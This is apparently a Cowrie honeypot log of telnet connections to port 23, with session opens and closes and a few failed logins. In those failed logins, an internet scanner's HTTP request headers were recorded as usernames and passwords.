{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":45138,"dst_ip":"10.17.0.5","dst_port":23,"session":"b701e26c0433","protocol":"telnet","message":"New connection: 216.22.21.200:45138 (10.17.0.5:23) [session: b701e26c0433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.514295Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":36218,"dst_ip":"10.17.0.5","dst_port":23,"session":"0de59e6fd1e1","protocol":"telnet","message":"New connection: 104.207.153.205:36218 (10.17.0.5:23) [session: 0de59e6fd1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.558559Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.212","src_port":15740,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6d9ddf203ae","protocol":"telnet","message":"New connection: 65.49.1.212:15740 (10.17.0.5:23) [session: e6d9ddf203ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.661810Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":52524,"dst_ip":"10.17.0.5","dst_port":23,"session":"69df512404b6","protocol":"telnet","message":"New connection: 99.198.111.122:52524 (10.17.0.5:23) [session: 69df512404b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.665712Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.671847Z","src_ip":"65.49.1.212","session":"e6d9ddf203ae","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.676644Z","src_ip":"65.49.1.212","session":"e6d9ddf203ae","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.680685Z","src_ip":"65.49.1.212","session":"e6d9ddf203ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.771283388137817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.687969Z","src_ip":"160.250.4.73","session":"2c451fa6c92f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":52364,"dst_ip":"10.17.0.5","dst_port":23,"session":"7db22ad7c9e6","protocol":"telnet","message":"New connection: 160.250.4.73:52364 (10.17.0.5:23) [session: 7db22ad7c9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.748673Z"}
{"eventid":"cowrie.session.closed","duration":0.09373021125793457,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.755427Z","src_ip":"65.49.1.212","session":"e6d9ddf203ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":45328,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c5d98acfae6","protocol":"telnet","message":"New connection: 216.22.21.200:45328 (10.17.0.5:23) [session: 8c5d98acfae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.781532Z"}
{"eventid":"cowrie.session.closed","duration":31.853711366653442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.986741Z","src_ip":"216.22.21.200","session":"f0133f3fec97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.714167833328247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:03.142417Z","src_ip":"99.198.111.122","session":"d95802f3559c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.504591464996338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:03.151496Z","src_ip":"64.235.40.29","session":"949943623a6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":36216,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a7a0d9a941","protocol":"telnet","message":"New connection: 104.207.153.205:36216 (10.17.0.5:23) [session: f4a7a0d9a941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:03.162234Z"}
{"eventid":"cowrie.session.closed","duration":30.622943878173828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:03.218349Z","src_ip":"160.250.4.73","session":"066d1c3c583a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.567594528198242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:03.236035Z","src_ip":"64.235.40.29","session":"6449a256a542","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":53732,"dst_ip":"10.17.0.5","dst_port":23,"session":"9499f2a263a4","protocol":"telnet","message":"New connection: 99.198.111.122:53732 (10.17.0.5:23) [session: 9499f2a263a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:03.241805Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":45948,"dst_ip":"10.17.0.5","dst_port":23,"session":"3daa761f557f","protocol":"telnet","message":"New connection: 216.22.21.200:45948 (10.17.0.5:23) [session: 3daa761f557f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:03.320004Z"}
{"eventid":"cowrie.session.closed","duration":31.42017436027527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:03.687784Z","src_ip":"64.235.40.29","session":"5d563aa06544","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46006155014038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:03.793021Z","src_ip":"64.235.40.29","session":"3c26c8469b57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74748396873474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:04.018232Z","src_ip":"216.22.21.200","session":"22fa712b6445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":46860,"dst_ip":"10.17.0.5","dst_port":23,"session":"779a440ecff6","protocol":"telnet","message":"New connection: 216.22.21.200:46860 (10.17.0.5:23) [session: 779a440ecff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:04.170333Z"}
{"eventid":"cowrie.session.closed","duration":31.141294479370117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:04.218438Z","src_ip":"99.198.111.122","session":"026423d32761","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":44250,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e7a19facb2e","protocol":"telnet","message":"New connection: 195.154.29.177:44250 (10.17.0.5:23) [session: 6e7a19facb2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:04.454988Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":36206,"dst_ip":"10.17.0.5","dst_port":23,"session":"d371f6f1ec64","protocol":"telnet","message":"New connection: 104.207.153.205:36206 (10.17.0.5:23) [session: d371f6f1ec64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:04.502734Z"}
{"eventid":"cowrie.session.closed","duration":31.184199810028076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:04.648502Z","src_ip":"104.207.153.205","session":"3e63bd02774b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":56122,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1540441ee5b","protocol":"telnet","message":"New connection: 104.207.153.205:56122 (10.17.0.5:23) [session: b1540441ee5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:04.710191Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51294,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec82f58c452e","protocol":"telnet","message":"New connection: 64.235.40.29:51294 (10.17.0.5:23) [session: ec82f58c452e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:05.188600Z"}
{"eventid":"cowrie.session.closed","duration":30.623551845550537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:05.342952Z","src_ip":"64.235.40.29","session":"22799cfa0ce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":48490,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca4b257e657f","protocol":"telnet","message":"New connection: 216.22.21.200:48490 (10.17.0.5:23) [session: ca4b257e657f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:05.537393Z"}
{"eventid":"cowrie.session.closed","duration":31.382066011428833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:05.626400Z","src_ip":"64.235.40.29","session":"bedcc8e75da2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51308,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa18af5a7123","protocol":"telnet","message":"New connection: 64.235.40.29:51308 (10.17.0.5:23) [session: aa18af5a7123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:05.689863Z"}
{"eventid":"cowrie.session.closed","duration":30.527774333953857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:06.024108Z","src_ip":"216.22.21.200","session":"bfe70b7acb4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":32892,"dst_ip":"10.17.0.5","dst_port":23,"session":"99c0a09afba8","protocol":"telnet","message":"New connection: 99.198.111.122:32892 (10.17.0.5:23) [session: 99c0a09afba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:06.322024Z"}
{"eventid":"cowrie.session.closed","duration":31.175283670425415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:06.350241Z","src_ip":"195.154.29.177","session":"7f0a8260a18b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.170942306518555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:06.403944Z","src_ip":"160.250.4.73","session":"984645930c93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32705044746399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:06.627265Z","src_ip":"160.250.4.73","session":"3f46ba01f588","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":49710,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffe6135fe67c","protocol":"telnet","message":"New connection: 216.22.21.200:49710 (10.17.0.5:23) [session: ffe6135fe67c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:06.632787Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51310,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b4cecfd7e38","protocol":"telnet","message":"New connection: 64.235.40.29:51310 (10.17.0.5:23) [session: 4b4cecfd7e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:06.732784Z"}
{"eventid":"cowrie.session.closed","duration":31.467878341674805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:06.741557Z","src_ip":"216.22.21.200","session":"81d43789be18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.472169160842896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:07.044651Z","src_ip":"64.235.40.29","session":"571a929a2acc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.571741342544556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:07.050067Z","src_ip":"135.148.33.217","session":"b2ac4791efd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51349139213562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:07.132538Z","src_ip":"99.198.111.122","session":"568e19972dac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.503743886947632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:07.187465Z","src_ip":"64.235.40.29","session":"a86ce30d3111","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.523029327392578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:07.304048Z","src_ip":"104.207.153.205","session":"b147867b7fdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":40680,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cdf926a2efd","protocol":"telnet","message":"New connection: 162.214.112.92:40680 (10.17.0.5:23) [session: 0cdf926a2efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:07.341974Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":41128,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3a9488f68a9","protocol":"telnet","message":"New connection: 162.241.40.195:41128 (10.17.0.5:23) [session: e3a9488f68a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:07.895457Z"}
{"eventid":"cowrie.session.closed","duration":30.902232885360718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:08.017217Z","src_ip":"135.148.33.217","session":"847c0195e422","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.742743253707886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:08.037085Z","src_ip":"64.235.40.29","session":"bf7f30613b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.086681842803955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:08.046636Z","src_ip":"64.235.40.29","session":"e67bfc472294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.538610696792603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:08.050994Z","src_ip":"99.198.111.122","session":"98bd3b4a52d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.997108459472656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:08.130662Z","src_ip":"64.235.40.29","session":"77a846d02943","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":59268,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e8e8d9eb9d9","protocol":"telnet","message":"New connection: 195.154.29.177:59268 (10.17.0.5:23) [session: 4e8e8d9eb9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:08.326004Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":51940,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3e35b2e8d03","protocol":"telnet","message":"New connection: 216.22.21.200:51940 (10.17.0.5:23) [session: a3e35b2e8d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:08.513286Z"}
{"eventid":"cowrie.session.closed","duration":31.503591299057007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:08.518418Z","src_ip":"195.154.29.177","session":"7fd1ca37d31b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.266874313354492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:08.545979Z","src_ip":"64.235.40.29","session":"67dcd7fc287c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":38236,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0e030637dd6","protocol":"telnet","message":"New connection: 99.198.111.122:38236 (10.17.0.5:23) [session: e0e030637dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:08.777182Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":38286,"dst_ip":"10.17.0.5","dst_port":23,"session":"9345357ea9f2","protocol":"telnet","message":"New connection: 99.198.111.122:38286 (10.17.0.5:23) [session: 9345357ea9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:08.800308Z"}
{"eventid":"cowrie.session.closed","duration":31.306032180786133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:08.908557Z","src_ip":"195.154.29.177","session":"bd91beb65f53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":34076,"dst_ip":"10.17.0.5","dst_port":23,"session":"eca7281cdb35","protocol":"telnet","message":"New connection: 195.154.29.177:34076 (10.17.0.5:23) [session: eca7281cdb35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:09.077014Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":39010,"dst_ip":"10.17.0.5","dst_port":23,"session":"13007eb2f767","protocol":"telnet","message":"New connection: 99.198.111.122:39010 (10.17.0.5:23) [session: 13007eb2f767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:09.176604Z"}
{"eventid":"cowrie.session.closed","duration":30.836199045181274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:10.026951Z","src_ip":"99.198.111.122","session":"15170c3492f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69851779937744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:10.095910Z","src_ip":"64.235.40.29","session":"efe5d04da945","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":34220,"dst_ip":"10.17.0.5","dst_port":23,"session":"07250c0d2d20","protocol":"telnet","message":"New connection: 195.154.29.177:34220 (10.17.0.5:23) [session: 07250c0d2d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:10.121353Z"}
{"eventid":"cowrie.session.closed","duration":30.35134482383728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:10.129052Z","src_ip":"160.250.4.73","session":"fb7cfffd75d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.048633575439453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:10.255997Z","src_ip":"64.235.40.29","session":"687398f5d6f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":41640,"dst_ip":"10.17.0.5","dst_port":23,"session":"2848f8af17b8","protocol":"telnet","message":"New connection: 99.198.111.122:41640 (10.17.0.5:23) [session: 2848f8af17b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:10.274533Z"}
{"eventid":"cowrie.session.closed","duration":31.53547978401184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:10.602630Z","src_ip":"216.22.21.200","session":"9f69e7c3efd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72228693962097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:10.633139Z","src_ip":"195.154.29.177","session":"352612cfe0e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":54296,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf01f79e6827","protocol":"telnet","message":"New connection: 216.22.21.200:54296 (10.17.0.5:23) [session: cf01f79e6827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:10.742318Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":40994,"dst_ip":"10.17.0.5","dst_port":23,"session":"15db4d8ef747","protocol":"telnet","message":"New connection: 195.154.29.177:40994 (10.17.0.5:23) [session: 15db4d8ef747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:11.041129Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":59444,"dst_ip":"10.17.0.5","dst_port":23,"session":"e022f575f390","protocol":"telnet","message":"New connection: 160.250.4.73:59444 (10.17.0.5:23) [session: e022f575f390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:11.150530Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":45314,"dst_ip":"10.17.0.5","dst_port":23,"session":"34866b9a34f0","protocol":"telnet","message":"New connection: 99.198.111.122:45314 (10.17.0.5:23) [session: 34866b9a34f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:11.717298Z"}
{"eventid":"cowrie.session.closed","duration":31.776575326919556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:11.784060Z","src_ip":"195.154.29.177","session":"899be6cf3ec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":55766,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7508602e5a8","protocol":"telnet","message":"New connection: 216.22.21.200:55766 (10.17.0.5:23) [session: c7508602e5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:12.032807Z"}
{"eventid":"cowrie.session.closed","duration":30.34923791885376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:12.066365Z","src_ip":"104.207.153.205","session":"5c2601b8fdf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97625207901001,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:12.105898Z","src_ip":"135.148.33.217","session":"a8da6272f5a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.939080238342285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:12.110224Z","src_ip":"135.148.33.217","session":"3938d84a453b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.261579990386963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:12.130363Z","src_ip":"64.235.40.29","session":"b8f4c5552c9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":55856,"dst_ip":"10.17.0.5","dst_port":23,"session":"e134dfdf9eb0","protocol":"telnet","message":"New connection: 216.22.21.200:55856 (10.17.0.5:23) [session: e134dfdf9eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:12.144320Z"}
{"eventid":"cowrie.session.closed","duration":30.704979181289673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:12.243957Z","src_ip":"195.154.29.177","session":"3c94eb8001cd","protocol":"telnet"}
